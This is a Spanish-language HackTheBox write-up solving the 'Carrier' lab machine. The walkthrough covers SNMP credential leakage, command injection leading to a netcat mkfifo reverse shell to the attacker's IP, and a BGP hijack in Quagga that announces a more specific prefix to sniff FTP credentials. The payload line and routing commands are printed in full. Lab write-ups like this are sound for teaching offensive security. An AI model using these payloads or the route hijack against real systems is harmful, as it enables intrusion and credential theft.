Carrier HTB - WriteUp

En el día de hoy estaremos resolviendo la máquina Carrier de HackTheBox. Es una máquina Linux y su dirección IP es 10.10.10.105.

Índice

  1. Enumeración Inicial
  2. Web RCE
  3. BGP Hijack

Enumeración Inicial

Lo primero que haremos será una enumeración de los servicios expuestos que tiene la máquina. Para esa tarea usaremos nmap.

❯ nmap -sC -sV -Pn -oN Extraction -p22,80 10.10.10.105
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-03 18:35 CET
Nmap scan report for 10.10.10.105
Host is up (0.049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 15:a4:28:77:ee:13:07:06:34:09:86:fd:6f:cc:4c:e2 (RSA)
|   256 37:be:de:07:0f:10:bb:2b:b5:85:f7:9d:92:5e:83:25 (ECDSA)
|_  256 89:5a:ee:1c:22:02:d2:13:40:f2:45:2e:70:45:b0:c4 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Login
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Podemos ver que hay dos puertos abiertos y son el SSH y un servidor web. Si accedemos al servidor web podemos ver lo siguiente.

Vemos un panel de login con errores numericos. De momento el panel no es vulnerable a inyecciones básicas, vamos a tratar de hacer fuzzing sobre la web.

❯ gobuster dir -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -u http://10.10.10.105/                                                                     
===============================================================                                                                                                                              
Gobuster v3.1.0                                                                                                                                                                              
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)                                                                                                                                
===============================================================                                                                                                                              
[+] Url:                     http://10.10.10.105/                                                                                                                                            
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2023/03/03 18:40:20 Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 310] [--> http://10.10.10.105/img/]
/tools                (Status: 301) [Size: 312] [--> http://10.10.10.105/tools/]
/doc                  (Status: 301) [Size: 310] [--> http://10.10.10.105/doc/]  
/css                  (Status: 301) [Size: 310] [--> http://10.10.10.105/css/]  
/js                   (Status: 301) [Size: 309] [--> http://10.10.10.105/js/]   
/fonts                (Status: 301) [Size: 312] [--> http://10.10.10.105/fonts/]
/debug                (Status: 301) [Size: 312] [--> http://10.10.10.105/debug/]

Podemos ver diferentes directorios, entre ellos los mas interesantes son /debug que muestra un phpinfo() y /doc que permite directory listing. En el podemos encontrar un pdf con los codigos de error que hemos visto en elapanel de login y un esquema de red.

Un codigo de error llama bastante la atención, el panel tiene las credenciales por defecto:

¿Estamos atacando algo que esta actuando como un router? Le hice un escaneo de puertos udp para ver si tenía el puerto snmp abierto… Hay veces que este puerto puede dar información sensible.

❯ nmap -sU -p 161 -oN UDPScan 10.10.10.105
Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-03 18:49 CET
Nmap scan report for 10.10.10.105
Host is up (0.044s latency).

PORT    STATE         SERVICE
161/udp open|filtered snmp

Puede que esté abierto, vamos a extraer la información con snmpbulkwalk.

❯ snmpbulkwalk -Cr100 -c public -v2c 10.10.10.105 > snmpcontent

Si leemos snmpcontent podemos ver lo siguiente:

SNMPv2-SMI::mib-2.47.1.1.1.1.11 = STRING: "SN#NET_45JDX23"
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)
SNMPv2-SMI::mib-2.47.1.1.1.1.11 = No more variables left in this MIB View (It is past the end of the MIB tree)

Podemos ver un string, que podría ser la password del campo de login. La contraseña para el usuario admin es: “NET_45JDX23”

Una vez dentro de la aplicación podemos ver un panel con tickets. En los cuales se habla sobre un reporte de un CVE, se nos da información sobre 3 redes que podrián ser sobre el diagrama de red anterior y que todo esta montado con BGP. Además un cliente tiene problemas para conectarse por FTP.

El Border Gateway Protocol (BGP) es un protocolo escalable de dynamic routing usado en la Internet por grupos de enrutadores para compartir información de enrutamiento. BGP usa parámetros de ruta o atributos para definir políticas de enrutamiento y crear un entorno de enrutamiento estable.

También tenemos un boto de diagnostico que nos devuelve información de lo que parece ser procesos del sistema.

Web RCE

Dos procesos los estaría ejecutando “quagga” y el otro lo está ejecutando root.

Quagga se compone de dos procesos: Proceso Zebra: Es el que modificala tabla de enrutamiento del núcleo del sistema. Proceso OSPF, RIP y/o BGP: Es el que le indica a Zebra qué modificaciones realizar en la tabla de enrutamiento.

Voy a pasar la petición del verify por burpsuite.

La cadena que contiene check es base64 y decodeado es quagga. Voy a probar ejecutar comandos pasandole “;id #” encodeado en base64

Tenemos RCE, vamos a establecernos una revshell. El payload que utilizaré es:

;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f #

Si mandamos el payload encodeado en base64 y miramos nuestro listener podemos ver que tenemos una revshell.

❯ nc -lvvp 443
listening on [any] 443 ...
10.10.10.105: inverse host lookup failed: Unknown host
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.105] 49750
/bin/sh: 0: can't access tty; job control turned off
#

BGP Hijack

Si enumeramos la máquina podemos ver varias cosas, una curiosidad es que podemos ver nuestro comando inyectado:

root@r1:/# ps aux
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root          1  0.0  0.2  37492  5796 ?        Ss   17:31   0:00 /sbin/init
root         54  0.0  0.1  35272  3528 ?        Ss   17:31   0:00 /lib/systemd/systemd-journald
root         62  0.0  0.1  41720  3128 ?        Ss   17:31   0:00 /lib/systemd/systemd-udevd
root        477  0.0  0.1  27728  2628 ?        Ss   17:31   0:00 /usr/sbin/cron -f
message+    478  0.0  0.1  42896  3504 ?        Ss   17:31   0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation
root        479  0.0  0.0   5220   116 ?        Ss   17:31   0:00 /sbin/iscsid
root        480  0.0  0.1   5720  3540 ?        SLs  17:31   0:00 /sbin/iscsid
root        483  0.0  0.2 274488  5760 ?        Ssl  17:31   0:00 /usr/lib/accountsservice/accounts-daemon
root        484  0.0  0.1  28544  2964 ?        Ss   17:31   0:00 /lib/systemd/systemd-logind
root        490  0.0  0.2  65508  4788 ?        Ss   17:31   0:00 /usr/sbin/sshd -D
daemon      493  0.0  0.0  26044  2008 ?        Ss   17:31   0:00 /usr/sbin/atd -f
root        494  0.0  1.2 214096 24568 ?        Ssl  17:31   0:00 /usr/lib/snapd/snapd
root        517  0.0  0.0  14472  1800 console  Ss+  17:31   0:00 /sbin/agetty --noclear --keep-baud console 115200 38400 9600 linux
root        528  0.0  0.2 277176  5780 ?        Ssl  17:31   0:00 /usr/lib/policykit-1/polkitd --no-debug
quagga     1100  0.0  0.0  24500   608 ?        Ss   18:10   0:00 /usr/lib/quagga/zebra --daemon -A 127.0.0.1
quagga     1104  0.0  0.1  29444  3804 ?        Ss   18:10   0:00 /usr/lib/quagga/bgpd --daemon -A 127.0.0.1
root       1109  0.0  0.0  15432   168 ?        Ss   18:10   0:00 /usr/lib/quagga/watchquagga --daemon zebra bgpd
root       1112  0.0  0.2  36696  4204 ?        Ss   18:11   0:00 /lib/systemd/systemd --user
root       1113  0.0  0.0  60944  1632 ?        S    18:11   0:00 (sd-pam)
root       1284  0.0  0.3  92796  6924 ?        Ss   18:16   0:00 sshd: root@notty
root       1314  0.0  0.1  11236  3088 ?        Ss   18:16   0:00 bash -c ps waux | grep ;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.6 443 >/tmp/f # | grep -v grep
root       1319  0.0  0.0   6164   684 ?        S    18:16   0:00 cat /tmp/f
root       1320  0.0  0.0   4504   780 ?        S    18:16   0:00 /bin/sh -i
root       1321  0.0  0.0  11300  1652 ?        R    18:16   0:00 nc 10.10.16.6 443
root       1322  0.0  0.1  20760  2516 ?        S    18:16   0:00 script -c bash /dev/null
root       1323  0.0  0.1  19904  3768 pts/0    Ss   18:16   0:00 bash
root       1351  0.0  0.1  36084  3312 pts/0    R+   18:19   0:00 ps aux

Después si recordamos, un problema que tenía un cliente era que no podía acceder al FTP por tema de rutas. Lo mas probable es que tengamos que explotar un BGP Hijacking. Este post lo explica bastante bien https://hackinglethani.com/es/protocolo-bgp-i/ de hecho lo explica sobre esta misma máquina :)

Lo primero que haremos será ver un archivo que se encuentra en /opt que es /opt/restore.sh el cual contiene lo siguiente:

#!/bin/sh
systemctl stop quagga
killall vtysh
cp /etc/quagga/zebra.conf.orig /etc/quagga/zebra.conf
cp /etc/quagga/bgpd.conf.orig /etc/quagga/bgpd.conf
systemctl start quagga

Esto esta mantando el servicio quagga y proceso vtysh (comando para conectarse a los demonios de quagga) y esta copiando los archivos de configuración originales por los que estan en uso. Por lo tanto vamos contra reloj. Yo lo que hice para que esto no pasará fue renombrar el script, de esta forma crontab no lo va a encontrar y no lo podrá ejecutar.

root@r1:/opt# mv restore.sh restore2.sh 

Hecho esto podemos continuar. Vamos a leer los archivos de configuración.

zebra.conf

root@r1:/opt# cat /etc/quagga/zebra.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
!
interface eth0
 no link-detect
 ipv6 nd suppress-ra
!
interface eth1
 no link-detect
 ipv6 nd suppress-ra
!
interface eth2
 no link-detect
 ipv6 nd suppress-ra
!
interface lo
 no link-detect
!
ip forwarding
!
!
line vty
!

Aquí podemos ver las interfaces de red que están en uso. Si hacemos un “ip a” podemos ver que las interfaces coinciden.

root@r1:/opt# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
8: eth0@if9: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:16:3e:d9:04:ea brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.99.64.2/24 brd 10.99.64.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fed9:4ea/64 scope link 
       valid_lft forever preferred_lft forever
10: eth1@if11: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:16:3e:8a:f2:4f brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.78.10.1/24 brd 10.78.10.255 scope global eth1
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe8a:f24f/64 scope link 
       valid_lft forever preferred_lft forever
12: eth2@if13: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default qlen 1000
    link/ether 00:16:3e:20:98:df brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet 10.78.11.1/24 brd 10.78.11.255 scope global eth2
       valid_lft forever preferred_lft forever
    inet6 fe80::216:3eff:fe20:98df/64 scope link 
       valid_lft forever preferred_lft forever

bgp.conf

root@r1:/opt# cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
!   2018/07/02 02:14:27
!
route-map to-as200 permit 10
route-map to-as300 permit 10
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 route-map to-as300 out
!
line vty
!

Aquí podemos ver las rutas hacía los routers vecinos. Por eth1 nos podemos comunicar con la red 10.78.10.0 y por eth2 con 10.78.11.0

Ahora nos meteremos en la consola vtsysh, si habeis usado el Packet Tracert de CISCO esto os será familiar.

root@r1:/opt# vtysh 

Hello, this is Quagga (version 0.99.24.1).
Copyright 1996-2005 Kunihiro Ishiguro, et al.

r1#

Vamos a ver la configuración actual.

r1# show running-config
Building configuration...

Current configuration:
!
!
interface eth0
 ipv6 nd suppress-ra
 no link-detect
!
interface eth1
 ipv6 nd suppress-ra
 no link-detect
!
interface eth2
 ipv6 nd suppress-ra
 no link-detect
!
interface lo
 no link-detect
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.11.2 route-map to-as300 out
!
route-map to-as200 permit 10
!
route-map to-as300 permit 10
!
ip forwarding
!
line vty
!
end

El BGP Hijacking se basa en el envenenamiento de las rutas. Tendremos que hacer que los equipos piensen que somos la ruta mas corta para llegar hasta sus destinos, en este caso al equipo del FTP para conseguir sus credenciales.

Sabiendo esto vamos a dejar unas ultimas cosas claras. Viendo la configuración podemos saber que nosotros estamos en el router AS100. Recordermos el esquema de red que teniamos.

Vamos a ver nuestros vecinos bgp.

r1# show bgp neighbors                                                                                                                                                                       
BGP neighbor is 10.78.10.2, remote AS 200, local AS 100, external link                                                                                                                       
  BGP version 4, remote router ID 10.255.255.2                                                                                                                                               
  BGP state = Established, up for 00:29:48                                                                                                                                                   
  Last read 00:00:48, hold time is 180, keepalive interval is 60 seconds                                                                                                                     
  Neighbor capabilities:                                                                                                                                                                     
    4 Byte AS: advertised and received                                                                                                                                                       
    Route refresh: advertised and received(old & new)                                                                                                                                        
    Address family IPv4 Unicast: advertised and received                                                                                                                                     
    Graceful Restart Capabilty: advertised and received                                                                                                                                      
      Remote Restart timer is 120 seconds                                                                                                                                                    
      Address families by peer:  

BGP neighbor is 10.78.11.2, remote AS 300, local AS 100, external link
  BGP version 4, remote router ID 10.255.255.3
  BGP state = Established, up for 00:29:49
  Last read 00:00:49, hold time is 180, keepalive interval is 60 seconds
  Neighbor capabilities:
    4 Byte AS: advertised and received
    Route refresh: advertised and received(old & new)
    Address family IPv4 Unicast: advertised and re

Podemos ver que nuestros “vecinos” son AS200 y AS300, como habiamos visto por las interfaces de red.

El servidor FTP que queremos interceptar está en 10.120.15.0/24 en el AS300. Actualmente, el tráfico salta de AS200 (cliente FTP) a AS300 (servidor FTP).

Para que el secuestro ocurra según lo previsto, debemos anunciar una red específica que no sea 10.120.15.0/24 en AS100 para que el tráfico se enrute hacia nosotros.

Vamos a configurar AS100:

Lo primero será entrar en el modo configuración, se puede hacer escribiendo “configure terminal”

r1# configure terminal 
r1(config)# 

Debemos decir que estamos en AS100

r1(config)# router bgp 100
r1(config-router)#

Ahora ya podemos configurar las rutas… Ahora debemos añadir el rango de red que queremos ofrecer, en nuestro caso, 10.120.15.0/25

r1(config-router)# network 10.120.15.0/25
r1(config-router)#

Ahora tendremos que salvar los cambios de la siguiente forma:

r1(config-router)# exit
r1(config)# write
% Unknown command.
r1(config)# exit
r1# write
Building Configuration...
Configuration saved to /etc/quagga/zebra.conf
Configuration saved to /etc/quagga/bgpd.conf
[OK]

El siguiente paso es borrar las rutas y volver a anunciar la red de la siguiente forma:

r1# clear ip bgp * out
r1#

Para ver que realmente se han hecho los cambios podemos leer el archivo de configuración de bgp, el bgp.conf.

root@r1:/opt# cat /etc/quagga/bgpd.conf
!
! Zebra configuration saved from vty
!   2023/03/03 18:56:36
!
!
router bgp 100
 bgp router-id 10.255.255.1
 network 10.101.8.0/21
 network 10.101.16.0/21
 network 10.120.15.0/25
 redistribute connected
 neighbor 10.78.10.2 remote-as 200
 neighbor 10.78.10.2 route-map to-as200 out
 neighbor 10.78.11.2 remote-as 300
 neighbor 10.78.11.2 route-map to-as300 out
!
route-map to-as200 permit 10
!
route-map to-as300 permit 10
!
line vty
!

Podemos ver la red que hemos añadido anteriormente… Tambien podemos ver las rutas anunciadas en AS200, podemos ver que nuestra red /25 se ha agregado, y al ser la mas corta cogerá dicha red.

r1# clear ip bgp * out
r1# show  ip bgp  neighbors 10.78.10.2 advertised-routes 
BGP table version is 0, local router ID is 10.255.255.1
Status codes: s suppressed, d damped, h history, * valid, > best, = multipath,
              i internal, r RIB-failure, S Stale, R Removed
Origin codes: i - IGP, e - EGP, ? - incomplete

   Network          Next Hop            Metric LocPrf Weight Path
*> 10.78.10.0/24    10.78.10.1               0         32768 ?
*> 10.78.11.0/24    10.78.10.1               0         32768 ?
*> 10.99.64.0/24    10.78.10.1               0         32768 ?
*> 10.101.8.0/21    10.78.10.1               0         32768 i
*> 10.101.16.0/21   10.78.10.1               0         32768 i
*> 10.120.10.0/24   10.78.10.1                             0 300 i
*> 10.120.11.0/24   10.78.10.1                             0 300 i
*> 10.120.12.0/24   10.78.10.1                             0 300 i
*> 10.120.13.0/24   10.78.10.1                             0 300 i
*> 10.120.14.0/24   10.78.10.1                             0 300 i
*> 10.120.15.0/24   10.78.10.1                             0 300 i
*> 10.120.15.0/25   10.78.10.1               0         32768 i
*> 10.120.16.0/24   10.78.10.1                             0 300 i
*> 10.120.17.0/24   10.78.10.1                             0 300 i
*> 10.120.18.0/24   10.78.10.1                             0 300 i
*> 10.120.19.0/24   10.78.10.1                             0 300 i
*> 10.120.20.0/24   10.78.10.1                             0 300 i
*> 127.0.0.0        10.78.10.1               0         32768 ?

Total number of prefixes 18
r1#

Ahora tendremos que añadir la red a la interfaz eth2, podemos hacerlo de la siguiente forma:

root@r1:/opt# ip addr add 10.120.15.10/25 dev eth2
root@r1:/opt#

Ahora podemos usar herramientas como tsark o tcpdump para ver los paquetes de la red que esten pasando por eth2 y ver si capturamos las credenciales del FTP.

root@r1:/tmp# tcpdump -vv -i eth0 -w ftp.pcap port 21

Después de un rato podemos ver que nos llega información.

root@r1:~# tcpdump -vv -s0 -ni eth2 -c 10 port 21
tcpdump: listening on eth2, link-type EN10MB (Ethernet), capture size 262144 bytes
[...]
13:53:01.528076 IP (tos 0x10, ttl 63, id 11657, offset 0, flags [DF], proto TCP (6), length 63)
    10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e03 (incorrect -> 0x75af), seq 1:12
	USER root
[...]
13:53:01.528248 IP (tos 0x10, ttl 63, id 11658, offset 0, flags [DF], proto TCP (6), length 74)
    10.78.10.2.50692 > 10.120.15.10.21: Flags [P.], cksum 0x2e0e (incorrect -> 0xa290), seq 12:34
	PASS BGPtelc0rout1ng

Si probamos a loggernos con SSH podemos ver que las crendenciales son validas.

❯ ssh root@10.10.10.105
root@10.10.10.105´s password: 
Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-24-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri Mar  3 19:24:33 UTC 2023

  System load:  0.0               Users logged in:       0
  Usage of /:   63.6% of 8.73GB   IP address for ens160: 10.10.10.105
  Memory usage: 35%               IP address for lxdbr0: 10.99.64.1
  Swap usage:   0%                IP address for lxdbr1: 10.120.15.10
  Processes:    296


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

4 packages can be updated.
0 updates are security updates.


Last login: Fri Sep 30 15:44:00 2022
root@carrier:~#

Espero que te haya servido!